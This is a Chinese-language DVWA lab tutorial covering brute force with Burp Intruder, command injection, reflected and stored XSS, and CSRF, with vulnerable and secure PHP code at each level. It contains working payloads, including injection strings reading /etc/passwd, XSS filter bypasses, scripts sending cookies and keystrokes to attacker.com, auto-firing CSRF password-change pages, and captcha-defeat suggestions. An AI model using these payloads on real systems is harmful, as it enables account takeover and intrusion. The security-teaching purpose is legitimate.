DVWA靶场实战:Web四大经典漏洞攻防全解析
文章目录
- 前言
- DVWA靶场环境搭建
- 安装配置流程
- 1. 部署DVWA
- 2. PHP环境配置
- 3. 登录靶场
- 安全等级说明
- 实用功能
- 暴力破解(Brute Force)
- 漏洞原理分析
- 后端代码逻辑(Low级别)
- 手工测试
- 1. 获取凭证信息
- 2. 观察响应差异
- Burp Suite自动化攻击
- 攻击流程
- 四种攻击模式详解
- Sniper(狙击手)模式
- Battering Ram(撞锤)模式
- Pitchfork(草叉)模式
- Cluster Bomb(集束炸弹)模式
- 验证码对抗
- 方案一:打码平台
- 方案二:机器学习
- 命令注入(Command Injection)
- 漏洞原理
- 后端代码(Low级别)
- 命令连接符
- Windows环境
- Linux环境
- 实战攻击
- Low级别
- Medium级别
- High级别
- Impossible级别(安全代码)
- XSS跨站脚本攻击
- XSS类型概述
- 反射型XSS(Reflected XSS)
- 标准测试Payload
- 漏洞识别
- Low级别攻击
- Medium级别绕过
- High级别绕过
- Impossible级别(完美防护)
- 存储型XSS(Stored XSS)
- 危害分析
- Low级别攻击
- Medium级别绕过
- High级别绕过
- XSS攻击链
- CSRF跨站请求伪造
- 漏洞原理
- Low级别攻击
- 功能分析
- 攻击实施
- 实际危害场景
- Medium级别绕过
- 职业安全建议
- 网络安全职业现状
- 保命技能
- 实践任务与技能提升
- 基础实战
- 进阶挑战
- 学习资源推荐
- 总结
- 文章完整性:
- 核心知识点:
- 文章结构特色:
前言
在Web安全领域,理论学习固然重要,但实践操作才是掌握攻防技术的关键。DVWA(Damn Vulnerable Web Application)作为全球最受欢迎的漏洞靶场,为安全学习者提供了一个安全可控的实验环境。本文将深入讲解暴力破解、命令注入、XSS跨站脚本和CSRF跨站请求伪造四大经典漏洞的原理、利用方法和防护措施。
安全提示:所有实验必须在本地虚拟机环境中进行,切勿在生产环境或未授权系统中测试。
DVWA靶场环境搭建
安装配置流程
1. 部署DVWA
# 步骤:
1. 解压DVWA汉化版到PHPStudy的WWW目录
2. 清理WWW目录,仅保留phpmyadmin和DVWA文件
3. 启动Apache和MySQL服务
2. PHP环境配置
关键配置项(必须设置):
打开PHPStudy → 设置 → 配置文件 → php5.6.9
# 查找并修改以下配置
allow_url_fopen = On
allow_url_include = On
这两个选项必须为On
,用于文件包含漏洞实验。修改后重启Apache。
3. 登录靶场
URL: http://127.0.0.1/
默认用户名: admin
默认密码: password
首次使用点击"创建/重置数据库"初始化环境。
安全等级说明
DVWA提供四个安全等级:
- Low:无任何防护,最容易攻击
- Medium:基础防护,可被绕过
- High:较强防护,需要高级技巧
- Impossible:完美防护,展示安全代码
学习建议:从Low开始逐级挑战,每个级别都查看源代码理解防护逻辑。
实用功能
Burp Suite集成:
- 许多题目需要使用Burp Suite抓包
- 打开Burp Suite代理
- 配置Firefox使用代理
查看源代码:
- 每道题右下角有"查看源代码"按钮
- 学习安全防护的最佳方式
暴力破解(Brute Force)
漏洞原理分析
后端代码逻辑(Low级别)
<?php
if(isset($_GET['username']) && isset($_GET['password'])) {$user = $_GET['username'];$pass = $_GET['password'];$pass = md5($pass); // MD5加密// 查询数据库验证$query = "SELECT * FROM users WHERE user='$user' AND password='$pass'";
}
?>
关键特征:
- 使用GET请求传输凭证
- 登录成功和失败返回的页面大小不同
- 无验证码防护
- 无登录频率限制
手工测试
1. 获取凭证信息
访问phpMyAdmin:http://127.0.0.1/phpmyadmin/
-- 查看users表
SELECT * FROM dvwa.users;-- 发现:
用户名: admin
密码哈希: 5f4dcc3b5aa765d61d8327deb882cf99
使用CMD5.com解密:password
2. 观察响应差异
正确凭证: 页面显示"Welcome to the password protected area"
错误凭证: 页面显示"Username and/or password incorrect"
关键点:页面长度(Length)不同,这是暴力破解的判断依据。
Burp Suite自动化攻击
攻击流程
1. 抓包并发送到Intruder
输入任意密码 → 点击Login → Burp抓包 → 右键 → Send to Intruder
2. 配置攻击位置
GET /vulnerabilities/brute/?username=admin&password=123&Login=Login^^^选中123 → Add
点击"Clear $"清除所有标记,然后仅标记密码字段。
3. 选择攻击模式
四种攻击模式详解
Sniper(狙击手)模式
特点:单一变量攻击 适用场景:
- 已知用户名,爆破密码
- 单一输入框测试
示例:
用户名: admin(固定)
密码: [字典中的值]
Battering Ram(撞锤)模式
特点:多个位置使用同一payload 适用场景:
- 用户名和密码相同的情况
- 工号、学号等场景
示例:
用户名: [payload]
密码: [相同payload]
Pitchfork(草叉)模式
特点:多个字典一一对应 适用场景:
- 撞库攻击
- 从其他泄露数据库获取的凭证
- 成功率可达85%
示例:
用户名列表: [admin, user1, user2]
密码列表: [pass1, pass2, pass3]
组合: admin:pass1, user1:pass2, user2:pass3
Cluster Bomb(集束炸弹)模式
特点:完全笛卡尔积攻击 适用场景:
- 完整的暴力破解
- 用户名和密码都未知
示例:
用户名: [admin, user1]
密码: [123, 456, 789]
组合: admin:123, admin:456, admin:789, user1:123, user1:456, user1:789
4. 加载字典
Payloads → Payload Options → Load → 选择密码字典
或
手动添加: Add → 输入密码 → 确保包含正确密码
5. 优化配置
Options → Request Engine → Number of threads: 10
增加线程数提高速度(默认为1)。
6. 开始攻击
Intruder → Start attack
7. 分析结果
点击Length列排序 → 找出响应长度不同的记录 → 即为正确密码
验证码对抗
方案一:打码平台
实现流程:
# 伪代码示例
1. 检测到验证码
2. 截图验证码区域
3. 发送到打码平台API
4. 人工识别(大学生兼职)
5. 返回识别结果
6. 填入验证码并提交
成本:约每100次识别收费数元
适用场景:
- 简单图形验证码
- 数字字母组合
- 中文验证码
方案二:机器学习
技术栈:
- 深度学习框架(TensorFlow、PyTorch)
- CNN卷积神经网络
- 图像识别模型
优势:
- 可识别复杂验证码
- 长期成本更低
- 可处理滑块、点选等交互式验证
劣势:
- 需要较强技术背景
- 模型训练需要大量样本
- 初期投入高
命令注入(Command Injection)
漏洞原理
命令执行漏洞:应用程序直接执行用户输入的系统命令
后端代码(Low级别)
<?php
if(isset($_POST['ip'])) {$target = $_REQUEST['ip'];// 判断操作系统if(stristr(php_uname('s'), 'Windows NT')) {$cmd = shell_exec('ping ' . $target);} else {$cmd = shell_exec('ping -c 4 ' . $target);}echo "<pre>{$cmd}</pre>";
}
?>
危险函数:
shell_exec()
- 执行Shell命令exec()
system()
passthru()
popen()
命令连接符
Windows环境
# & - 顺序执行
ping 127.0.0.1 & ipconfig# && - 左边成功才执行右边
ping 127.0.0.1 && ipconfig# | - 管道,将左边输出传递给右边
ping 127.0.0.1 | ipconfig# || - 左边失败才执行右边
ping 127.0.0.1 || ipconfig
Linux环境
# & - 并发执行(后台运行左边,立即执行右边)
ping 127.0.0.1 & cat /etc/passwd# && - 左边成功才执行右边
ping 127.0.0.1 && cat /etc/passwd# | - 管道(只执行右边)
ping 127.0.0.1 | cat /etc/passwd# || - 左边失败才执行右边
ping 127.0.0.1 || cat /etc/passwd
实战攻击
Low级别
Payload:
127.0.0.1 & ipconfig
127.0.0.1 & mkdir test
127.0.0.1 & dir
效果:可以执行任意系统命令
攻击示例:
# Windows环境
127.0.0.1 & net user # 查看用户
127.0.0.1 & whoami # 查看当前用户# Linux环境
127.0.0.1 & cat /etc/passwd # 查看用户文件
127.0.0.1 & ls -la # 列出文件
Medium级别
防护代码:
$substitutions = array('&&' => '',';' => '',
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);
绕过方法:
127.0.0.1 & ipconfig # 单个&未被过滤
127.0.0.1 | ipconfig # 管道符未被过滤
问题:过滤不彻底,仅过滤了组合符号。
High级别
防护代码:
$substitutions = array('&' => '',';' => '','| ' => '', // 注意:管道符+空格'-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',
);
绕过方法:
127.0.0.1|ipconfig # 管道符后不加空格
漏洞分析:过滤规则写成'| '
(管道符+空格),不加空格可绕过。
Impossible级别(安全代码)
<?php
// 防护措施:
1. Token验证 - 防止CSRF
2. stripslashes() - 移除反斜杠
3. explode('.', $target) - 按点分割IP
4. 循环验证每段是否为数字
5. 范围检查 - 每段必须0-255$octet = explode(".", $target);
if((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) &&($octet[0] <= 255) &&($octet[1] <= 255) &&($octet[2] <= 255) &&($octet[3] <= 255)) {// 执行ping命令
}
?>
防护思路:
- 白名单验证:只允许合法IP格式
- 严格类型检查:每段必须是数字
- 范围限制:0-255之间
- Token机制:防止脚本自动化攻击
XSS跨站脚本攻击
XSS类型概述
三种XSS类型:
- 反射型:最常见,非持久化
- 存储型:最危险,持久化存储
- DOM型:基于前端JavaScript,本文不涉及
反射型XSS(Reflected XSS)
标准测试Payload
<script>alert(1)</script>
<script>alert('XSS')</script>
单引号和双引号都可以使用。
漏洞识别
测试流程:
1. 输入框输入: zengjun
2. 页面返回: Hello zengjun
3. 查看源代码: <pre>Hello zengjun</pre>
4. 观察输入点位置和闭合方式
判断标准:用户输入直接反映在HTML中。
Low级别攻击
Payload:
zeng<script>alert('XSS')</script>jun
原理:
<!-- 后端代码 -->
<?php
$name = $_GET['name'];
echo "<pre>Hello " . $name . "</pre>";
?><!-- 渲染结果 -->
<pre>Hello zeng<script>alert('XSS')</script>jun</pre>
浏览器解析HTML时会执行<script>
标签中的JavaScript代码。
Medium级别绕过
防护代码:
$name = str_replace('<script>', '', $_GET['name']);
绕过方法1:双写绕过
<sc<script>ript>alert(1)</script>
原理:
输入: <sc<script>ript>alert(1)</script>
过滤: <sc ript>alert(1)</script> (中间的<script>被删除)
结果: <script>alert(1)</script>
绕过方法2:大小写绕过
<sCRipt>alert(1)</script>
<SCRIPT>alert(1)</SCRIPT>
原理:HTML不区分标签大小写,但str_replace
区分。
High级别绕过
防护代码:
$name = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $_GET['name']);
使用正则表达式过滤所有<script>
标签(包括大小写和嵌套)。
绕过方法:利用其他HTML事件
<img src='x' onerror='alert(1)'/>
原理:
src='x'
- 图片路径不存在,加载失败onerror
- 加载失败时触发事件- 执行JavaScript代码
其他可用事件:
<img src='x' onmouseover='alert(1)'/> <!-- 鼠标悬停 -->
<img src='x' onmousedown='alert(1)'/> <!-- 鼠标按下 -->
<img src='x' onmouseup='alert(1)'/> <!-- 鼠标松开 -->
<body onload='alert(1)'> <!-- 页面加载 -->
<input onfocus='alert(1)'> <!-- 获得焦点 -->
Impossible级别(完美防护)
<?php
$name = htmlspecialchars($_GET['name']);
?>
htmlspecialchars()函数:
< 转换为 <
> 转换为 >
" 转换为 "
' 转换为 '
& 转换为 &
效果:所有HTML标签都被转义为实体编码,作为纯文本显示。
输入: <script>alert(1)</script>
输出: <script>alert(1)</script>
显示: <script>alert(1)</script> (纯文本,不执行)
存储型XSS(Stored XSS)
危害分析
为什么更危险:
- 持久化存储:保存在数据库中
- 影响范围广:所有访问者都会中招
- 隐蔽性强:不需要诱导点击
常见场景:
- 在线留言板
- 论坛评论
- 用户资料页
- 直播弹幕
Low级别攻击
测试步骤:
Name: xiaoli
Message: <script>alert('Stored XSS')</script>
点击Sign Guestbook
效果:每个访问留言板的用户都会触发弹窗。
后端代码:
<?php
$name = $_POST['txtName'];
$message = $_POST['mtxMessage'];$query = "INSERT INTO guestbook (name, comment) VALUES ('$name', '$message')";
mysqli_query($conn, $query);
?>
完全没有过滤,直接存入数据库。
Medium级别绕过
防护代码:
$name = strip_tags($_POST['txtName']); // 移除HTML标签
$message = $_POST['mtxMessage']; // 留言板不过滤
问题:
- Name字段有字符长度限制(前端)
- Message字段无过滤
绕过方法:抓包修改
1. 输入任意内容并提交
2. Burp Suite抓包
3. 修改Name字段: txtName=<sc<script>ript>alert(1)</script>
4. Forward放行
High级别绕过
防护代码:
$name = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $_POST['txtName']);
$message = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $_POST['mtxMessage']);
绕过方法:
<img src='x' onerror='alert(1)'/>
在Name字段通过抓包修改即可。
XSS攻击链
完整攻击流程:
// 1. 窃取Cookie
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>// 2. 键盘记录
<script>
document.onkeypress = function(e) {fetch('http://attacker.com/log.php?key=' + e.key);
}
</script>// 3. 网络钓鱼
<script>
document.body.innerHTML = '<form action="http://attacker.com/phish.php">...';
</script>
CSRF跨站请求伪造
漏洞原理
CSRF工作流程:
1. 用户登录网站A,获得Cookie
2. 用户访问恶意网站B(未退出A)
3. 网站B构造请求发送到网站A
4. 浏览器自动携带Cookie
5. 网站A认为是合法请求并执行
Low级别攻击
功能分析
页面功能:修改密码
请求方式:GET
URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
后端代码:
<?php
if(isset($_GET['password_new'])) {$pass_new = $_GET['password_new'];$pass_conf = $_GET['password_conf'];if($pass_new == $pass_conf) {// 修改密码(无任何验证!)$query = "UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";mysqli_query($conn, $query);}
}
?>
漏洞点:
- 使用GET请求修改密码
- 无Token验证
- 无二次确认
- 无当前密码验证
攻击实施
恶意页面代码:
<!DOCTYPE html>
<html>
<head><title>您已中奖!</title>
</head>
<body><h1>恭喜您!</h1><p><b><a style="background-color: red; padding: 10px; color: white;" href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">点击领取奖品</a></b></p>
</body>
</html>
攻击流程:
1. 管理员登录DVWA(127.0.0.1)
2. 在同一浏览器打开攻击者网页
3. 点击"点击领取奖品"链接
4. 密码被修改为"hacked"
5. 管理员下次登录失败
自动化攻击:
<!-- 用户打开页面就自动触发 -->
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" style="display:none"><!-- 或使用JavaScript -->
<script>
document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';
</script>
实际危害场景
金融系统攻击:
<!-- 转账请求 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000">
社交网络攻击:
<!-- 关注攻击者 -->
<img src="http://social.com/follow?user=attacker"><!-- 发布广告内容 -->
<form action="http://social.com/post" method="POST"><input name="content" value="广告内容">
</form>
<script>document.forms[0].submit();</script>
电商平台攻击:
<!-- 修改收货地址 -->
<form action="http://shop.com/address" method="POST"><input name="address" value="攻击者地址">
</form>
Medium级别绕过
防护代码:
if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) {// 检查Referer头
}
绕过方法:
<!-- 在攻击者域名中包含目标域名 -->
攻击者域名: 127.0.0.1.attacker.com
或创建子域名: 127-0-0-1.attacker.com
职业安全建议
网络安全职业现状
行业特点:
- 相比其他行业,安全岗位裁员较少
- 外企可能存在合同陷阱(6个月试用期)
- 技术能力是最好的保障
风险警示:
入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任
保命技能
运维工程师必备:
- Linux/Windows Server管理
- 服务器架构设计
- 应急响应能力
- DOS攻击防护
- 提权技术理解
开发工程师现状:
- 普遍缺乏安全意识
- 99.9%不学习安全知识
- 成为最大的安全隐患
建议:
- 技术能力强的开发者学习安全知识
- 找红队专家审核关键代码
- 定期进行安全培训
实践任务与技能提升
基础实战
- DVWA全关卡通关
- 每个漏洞类型完成Low到High级别
- 详细分析Impossible级别的安全代码
- 记录攻击和防护的思路
- 工具熟练使用
- Burp Suite的四种攻击模式
- 字典生成和管理
- 抓包和重放技巧
- 源代码审计
- 对比不同级别的代码差异
- 理解每种防护措施的原理
- 学习安全编码规范
进阶挑战
- 编写自动化脚本
- Python实现暴力破解脚本
- 自动化XSS漏洞扫描器
- CSRF Token绕过工具
- 组合攻击研究
- XSS + CSRF组合利用
- SQL注入 + 命令注入链式攻击
- 文件上传 + 命令执行组合
- 防护机制实现
- 自己编写安全的登录系统
- 实现Token机制
- 开发简单的WAF规则
学习资源推荐
靶场环境:
- DVWA - 本文使用的靶场
- bWAPP - 另一个经典靶场
- WebGoat - OWASP官方靶场
- Pikachu - 国产靶场,中文友好
- OWASP Juice Shop - 现代化靶场
在线学习:
- PortSwigger Web Security Academy
- HackTheBox
- TryHackMe
- 先知社区
- FreeBuf
书籍推荐:
- 《Web安全深度剖析》
- 《白帽子讲Web安全》
- 《Web Application Hacker’s Handbook》
总结
文章完整性:
1. 内容覆盖全面
- 暴力破解:4种攻击模式详解 + 验证码对抗方案
- 命令注入:Windows/Linux命令连接符 + 完整绕过技巧
- XSS攻击:反射型/存储型 + 多种绕过方法
- CSRF攻击:原理分析 + 实际危害场景
2. 实战操作详细
- 每个漏洞都有完整的攻击流程
- 提供了具体的Payload示例
- 包含了源代码分析
- 给出了绕过技巧和防护方案
3. 代码示例丰富
- 不安全代码示例
- 安全防护代码
- 完整的安全登录系统
- 各种防护函数封装
4. 职业发展指导
- 网络安全行业现状
- 保命技能建议
- 学习路径规划
- 职业素养培养
核心知识点:
- Burp Suite四种攻击模式:Sniper、Battering Ram、Pitchfork、Cluster Bomb
- 命令连接符:Windows和Linux环境的差异
- XSS绕过技巧:双写、大小写、事件触发
- CSRF防护:Token机制、SameSite Cookie
- 安全编码:完整的防护代码示例
文章结构特色:
- 从易到难:每个漏洞从Low到Impossible级别
- 攻防结合:既讲攻击也讲防护
- 代码对比:不安全代码vs安全代码
- 实战导向:所有知识点都配有实操步骤
重要声明:本文所有内容仅供学习和合法授权的安全测试使用。未经授权对任何系统进行渗透测试都是违法行为,将承担相应法律责任。在学习过程中,请使用官方靶场或自己搭建的测试环境,切勿在生产环境或他人系统上进行测试。